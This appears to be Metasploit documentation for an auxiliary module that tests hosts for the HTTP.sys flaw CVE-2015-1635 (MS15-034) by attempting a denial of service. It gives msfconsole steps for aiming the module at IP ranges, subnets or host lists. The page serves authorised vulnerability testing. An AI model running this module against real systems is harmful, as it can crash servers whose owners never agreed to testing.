List of CVEs: CVE-2015-1635

This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf auxiliary(ms15_034_ulonglongadd) > show options
    ... show and set options ...
msf auxiliary(ms15_034_ulonglongadd) > set RHOSTS ip-range
msf auxiliary(ms15_034_ulonglongadd) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(ms15_034_ulonglongadd) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(ms15_034_ulonglongadd) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(ms15_034_ulonglongadd) > set RHOSTS file:/tmp/ip_list.txt

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
